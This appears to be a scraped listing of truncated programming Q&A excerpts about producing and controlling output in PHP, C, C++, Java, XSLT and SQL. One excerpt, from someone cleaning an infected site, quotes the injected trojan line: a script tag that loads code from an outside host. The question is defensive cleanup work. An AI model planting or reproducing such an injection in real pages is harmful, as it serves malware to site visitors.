output

How can I output a row with id lets say 31.

<?php $link = mysql_connect('localhost', 'username', 'password'); if (!$link) { die('Could not connect: ' . mysql_error()); } echo 'Connected successfully'; if (!mysql_select_db('database')) die("Can't select database"); // choose id 31 from table users echo $id; //31 echo $name; //id31's name echo $surname //id31's surname e...

Controlling output of program

I'm writing a code to output fibonacci series in C++, which is simple enough, but since I'm new to programming, I'm considering ways to control I was wondering if there's a way to control time for when outputs come out without processing time being included (e.g. If it takes .0005 seconds to process my input and I want it to repeat the ...

PHP output text before sleep

Hello, I want PHP to output some text, then sleep for a minute and a half, and then output some more text. <?php echo 'Output one.'; usleep(1500000); echo 'Output two.'; ?> My problem is that all text is being put out simultaneously - after having waited those 1.5 seconds. I have read something about a function called flush - but...

Output HTML in XML Attribute

Hi Everyone: I am attempting to display HTML information in an attribute of a XML document. For example, I somehow want to accomplish the following: Attributes: id = "id" HTML_Elements = { <a href="./link.html">link</a> } (<something id='id' HTML_Elements='code'></something>) I am wondering if there is some way to accomplish d...

No output to console in Miscrosoft Expression Blend?

I'm afraid this is a dumb question, but I'm tired of searching for a solution. I can't send anything to the output window (Results -> Output) in Expression Blend. I tried with 'Console.WriteLine', 'Console.Out.WriteLine' and 'Debug.WriteLine' but I can´t see anything. Thanks for your help ...

OpenGL getting perspective pixel data

Hello, I am working with a 3D rendering of a large field containing various objects. My program views this field in perspective from a high point. I need to access the pixel data of (only) a rectangle in the field as viewed from above. I have the coordinates of this rectangle in the field, and would like to: (a) Find the pixels corresp...

How to preserve XML namespace in XSLT output?

XSL stylesheet should output following code to Internet Explorer: <xml:namespace prefix="vml" ns="urn:schemas-microsoft-com:vml"/> But when I execute following template with any XML <xsl:template match="*|node()"> <xml:namespace prefix="vml" ns="urn:schemas-microsoft-com:vml"/> </xsl:template> IE throws parsi...

Linux: can I read the output of another process without using any IPC (pipes, etc.)?

Is it possible in linux to somehow read the output (from stdout and stderr) of another process without it knowing about it? So lets say I have a process A running in the background and process B wants to read its output - is it possible? I can't use pipes or the screen program. I tried reading from /proc/xxx/fd or from /pts/x consoles an...

Printing '%' with printf in C/C++

Possible Duplicate: How to escape the % sign in Cs printf? This has to be an easy question but I can't find the answer on my book or the web; how to print '%' in C ? e.g.: printf("A: %.2f%", pc); ...fails, the compiler complains there is an invalid conversion. Of course an easy way is; printf("A: %.2f%c", pc, '%'); But ...

how to deploy dll content file output with a setup project

Hi all I have a resources file as dll of which CopyToOutput Directory is set to "Copy Always" & Build Action is "Content".. When making setup for an application that uses Resources.dll setup do not deploy Resources dll output files.... How to deploy Resources file output with this setup ?? Thanks ...

Problem formatting a find with sed output

Hi I'm trying to clean a site from a js-trojan for a customer, it has added: <script src='http://nt02.co.in/3'&gt;&lt;/script&gt; to all html-pages. Since it's too many files to manually clean I tried to a do find like this: find ./ -type f -exec sed -e "s\<script src='http://nt02.co.in/3'&gt;&lt;/script&gt;\ \g" {} > {} \; Problem ...

What does "java result" means?

after execution of my program written in java I see this output: java result: 2147483647 . what does this number means anyway? this is the code. it should actually run random test cases on an acm problem solution! no way to stop normally! and when I stop it manually I see this output: Java Result: 2147483647 BUILD SUCCESSFUL (total tim...

Create a PDF From a JSP Output

I have a webpage with a export option to PDF. I have to display the contents of the page in the PDF. Currently I use iText PDF Library to generate PDFs. The problem is creating PDF with iText is quite a challenge. Moreover we get frequent layout/UI changes for the webpage, so we have make the same changes to PDF. Is there any way...

Whats the output of this code?

object nullobject = null; object myobject = new myobject(); console.writeline("nullobject="+nullobject+"myobject="+myobject); ...

Simple noob I/O question (C++)

Hi, sorry for the noob question, but I'm new to C++. I need to read some information, line-by-line, from a file, and perform some calculations, and output into another file. For example, we read a unique ID for each line, a name, and 2 numbers. The last 2 numbers are multiplied, and in the output file, the ID, name and product are print...

Hide specific class fields from print_r or var_dump

Hi, Is it possible to hide a specific class fields from print_r ? <?php class DataManager { public $data = array(); } class Data { public $manager; public $data = array(); public function Data ($m, $d) { $this->manager = $m; $this->data = $d; } } $manager = new DataManager(); for ($a = 0; $a < 1...

stdlib and colored output in C

I am making a simple application which requires colored output. How can I make my output colored like emacs and bash do? I don't care about Windows, as my application is only for UNIX systems. Thanks. ...

Cannot modify header information, headers already sent.

I tried using xampp lite portable in my flash drive so that I could bring the server anywhere. But I always get an error when using xampp. This error in particular: Warning: Cannot modify header information - headers already sent by (output started at /path/to/geeklog/public_html/blabla.php:581) in /path/to/geeklog/public_html/system/li...

Increasing Message Size in SQL 2005

I am currently writing a script that intelligently strips a database down into a series of ordered INSERT statements with seeded identity columns that will allow me to place the records into a new database without destroying any keys or relationships. I am using the PRINT function to write the finished insert statements to the message w...

PHP's ob_flush() causing error

When I call PHP's ob_flush() function on my localhost (via MAMP) I get the following error: Notice: ob_flush() [ref.outcontrol]: failed to flush buffer. No buffer to flush. The only solution I can find is to prefix it with @, but this doesn't seem like a real solution to me. What's causing the problem? ...